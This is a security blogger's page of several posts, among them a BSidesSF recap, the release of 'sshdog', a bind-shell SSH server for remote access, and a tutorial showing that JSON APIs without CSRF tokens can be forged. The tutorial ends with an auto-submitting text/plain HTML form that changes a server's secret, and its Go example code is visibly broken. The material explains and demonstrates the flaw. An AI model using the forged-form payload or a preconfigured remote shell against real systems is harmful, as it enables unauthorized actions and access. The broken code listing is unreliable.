System Overlord

A blog about security engineering, research, and general hacking.

BSidesSF 2017

BSidesSF 2017 was, by far, the best yet. I’ve been to the last 5 or so, and had a blast at almost every one. This year, I was super busy – gave a talk, ran a workshop, and I was one of the organizers for the BSidesSF CTF. I’ve posted the summary and slides for my talk and I’ll update the video link once it gets posted.

I think it’s important to thank the BSidesSF organizers – they did a phenomenal job with an even bigger venue and I think everyone loved it. It was clearly a success, and I can only imagine how much work it takes to plan something like this.

It’s also important to note that our perennial venue, DNA Lounge, (except that one year we don’t talk about) is having some money problems. Apparently you can’t spend more than you bring in each year. This is the venue that, in addition to hosting BSidesSF, also hosts Cyberdelia. This is a venue that allows all kinds of independent art and events to thrive in one of the most expensive cities in the country. I encourage you to reach out and go to a show, buy some pizza, or just donate to their Patreon. If my encouragement is not enough, how about some from Razor and Blade?

Again, big thanks to BSidesSF and DNA Lounge for such a successful event!

SANS Holiday Hack Challenge 2016

This is my second time playing the SANS holiday hack challenge. It was a lot of fun, and probably took me about 8-10 hours over a period of 2-3 days, not including this writeup.

New Tool: sshdog

I recently needed an encrypted, authenticated remote bind shell due to a situation where, believe it or not, the egress policies were stricter than ingress! Ideally I could forward traffic and copy files over the link.
I was looking for a good tool and casually asked my coworkers if they had any ideas when one said “sounds like SSH.”

Well, shit. That does sound like SSH and I didn’t even realize it. (Tunnel vision, and the value of bouncing ideas off of others.) But I had a few more requirements in total:

  • Encrypted
  • Authenticated
  • Bind (not reverse)
  • Windows & Linux
  • No Admin/Installation required
  • Can be shipped preconfigured
  • No special runtime requirements

At this point, I began hunting for SSH servers that fit the bill, but found none. So I began to think about Paramiko, the SSH library for Python, but then I’d still need the Python runtime (though there are ways to build a binary out of a python script). I then recalled once seeing that Go has an ssh package. I looked at it, hoping it would be as straightforward as Paramiko (which can become a full SSH server or client in about 10 lines), but it’s not quite so. With the Go package, all of the crypto is handled for you, but you need to handle the incoming channels and requests yourself. Fortunately, the package provides code for marshaling and unmarshaling messages from the SSH wire format.

I decided that I would get a better performance and more predictable behavior without needing to package the Python runtime, plus I appreciated the stability Go would provide (fewer runtime errors), so I began developing. What I ended up with is sshdog, and I’m releasing it today.

sshdog supports:

  • Windows & Linux
  • Configure port, host key, authorized keys
  • Pubkey authentication (no passwords)
  • Port forwarding
  • SCP (but no SFTP support)

Additionally, it’s capable of being installed as a service on Windows, and daemonizing on Linux. It uses go.rice to embed configuration within the resulting binary and give you a single executable that runs the server.

Example Usage

% go build .
% ssh-keygen -t rsa -b 2048 -N '' -f config/ssh_host_rsa_key
% echo 2222 > config/port
% cp ~/.ssh/ config/authorized_keys
% rice append --exec sshdog
% ./sshdog
[DEBUG] Adding hostkey file: ssh_host_rsa_key
[DEBUG] Adding authorized_keys.
[DEBUG] Listening on :2222
[DEBUG] Waiting for shutdown.
[DEBUG] select...

Why sshdog?

The name is supposed to be a riff off netcat and similar tools, as well as an anagram for “Go SSHD”.

Please, give it a try and feel free to file bugs/pull requests on the Github project.

Security at the End of 2016

Well, 2016 is just about at an end, and what a year it has been. I’m not going to delve into politics, though that will arguably be how the history books will remember this year, but I want to take a look back at a few of the big security headlines of the year, and then make some completely wildass prognostications about information security in 2017.

Bad News of 2016

Yahoo! reported over 1 billion accounts were stolen by unknown attackers. Though the breaches occurred in 2013 and 2014, they weren’t publicly reported until the tail end of this year.

The US Government has claimed that Russians interfered with the US election by hacking the political parties, voter registration, etc. Whether or not it was done by the Russian government or so-called “lone wolves” is still not clear from the information that’s been released, but was is clear is that there was a data breach in at least the DNC during a major election.

Speaking of the FBI and DHS reporting on hacking, they themselves were breached near the beginning of the year. I’m glad we have them to investigate and report on data breaches and compromises in the US. Peraps they should look at their own networks first.

In continuing government insecurity, the Internal Revenue Service lost data on 700,000 taxpayers. Good thing they don’t deal with anything particularly sensitive, right?

I could go on about data breaches – LinkedIn, the FDIC, Verizon Enterprise, and on and on and on.

The most unusual event of 2016 was the formation of the Mirai botnet, a massive botnet of Internet of Things devices, which was used to DoS security blogger Brian Krebs, Amazon’s AWS network, and other networks, resulting in significant disruptions to major services, including everyday services like Netflix.

What 2017 Will Bring

I believe 2017 will bring increasing complexity to our applications and networks, making life even harder for security professionals. We’ll have more platforms, more IoT, more devices, and more breaches.

Security is a hard field to stay ahead of, no matter how hard you work at it. I try to read every article, every paper, every book I can get my hands on just to stay in the game, let alone get to the top.

Take a look at Cross-Site Scripting. A few years ago, we just had to worry about the XSS bug itself and how it would affect the origin containing the bug. Today, we have the XSS bug and mitigations from CSP (several versions), we have CORS allowing bugs to span origins, we have XSS stored in LocalStorage, and we have CSP bypasses at every corner. Who knows what 2017 will bring in just that narrow space?

I’m hoping 2017 will bring more interesting research, more open collaboration, and more quality tools and work. I’m particularly hoping that I’ll be able to bring some interesting work to light in 2017 – and maybe some fun bugs along the way.

To all my fellow hackers: happy new year!

Posting JSON with an HTML Form

A coworker and I were looking at an application today that, like so many other modern web applications, offers a RESTful API with JSON being used for serialization of requests/responses. She noted that the application didn’t include any sort of CSRF token and didn’t seem to use any of the headers (X-Requested-With, Referer, Origin, etc.) as a “poor man’s CSRF token”, but since it was posting JSON, was it really vulnerable to CSRF? Yes, yes, definitely yes!

Interestingly, this is reminiscent of many of the confusions between server and browser that are described in Michal Zalewski’s The Tangled Web.

The idea that the use of a particular encoding is a security boundary is, at worst, a completely wrong notion of security, and at best, a stopgap until W3C, browser vendors, or a clever attacker gets hold of your API. Let’s examine JSON encoding as a protection against CSRF and demonstrate a mini-PoC.

The Application

We have a basic application written in Go. Authentication checking is elided for post size, but this is not just an unauthenticated endpoint.

package main

import (

type Secrets struct {
	Secret int

var storage Secrets

func handler(w http.ResponseWriter, r *http.Request) {
	if r.Method == "POST" {
	fmt.Fprintf(w, "The secret is %d", storage.Secret)

func main() {
	http.HandleFunc("/", handler)
	http.ListenAndServe(":8080", nil)

As you can see, it basically serves a secret number that can be updated via HTTP POST of a JSON object. If we attempt a URL-encoded or multipart POST, the JSON decoding fails miserably and the secret remains unchanged. We must POST JSON in order to get the secret value changed.

Exploring Options

So let’s explore our options here. The site can locally use AJAX via the XMLHTTPRequest API, but due to the Same-Origin Policy, an attacker’s site cannot use this. For most CSRF, the way to get around this is plain HTML forms, since form submission is not subject to the Same-Origin Policy. The W3C had a draft specification for JSON forms, but that has been abandoned since late 2015, and isn’t supported in any browsers. There are probably some techniques that can make use of Flash or other browser plugins (aren’t there always?) but it can even be done with basic forms, it just takes a little work.

JSON in Forms

Normally, if we try to POST JSON as, say, a form value, it ends up being URL encoded, not to mention including the field name.

<form method='POST'>
  <input name='json' value='{"foo": "bar"}'>
  <input type='submit'>

Results in a POST body of:


Good luck decoding that as JSON!

Doing it as the form field name doesn’t get any better.


It turns out you can set the enctype of your form to text/plain and avoid the URL encoding on the form data. At this point, you’ll get something like:

json={"foo": "bar"}

Unfortunately, we still have to contend with the form field name and the separator (=). This is a simple matter of splitting our payload across both the field name and value, and sticking the equals sign in an unused field. (Or you can use it as part of your payload if you need one.)

Putting it All Together

<body onload='document.forms[0].submit()'>
  <form method='POST' enctype='text/plain'>
    <input name='{"secret": 1337, "trash": "' value='"}'>

This results in a request body of:

{"secret": 1337, "trash": "="}

This parses just fine and updates our secret!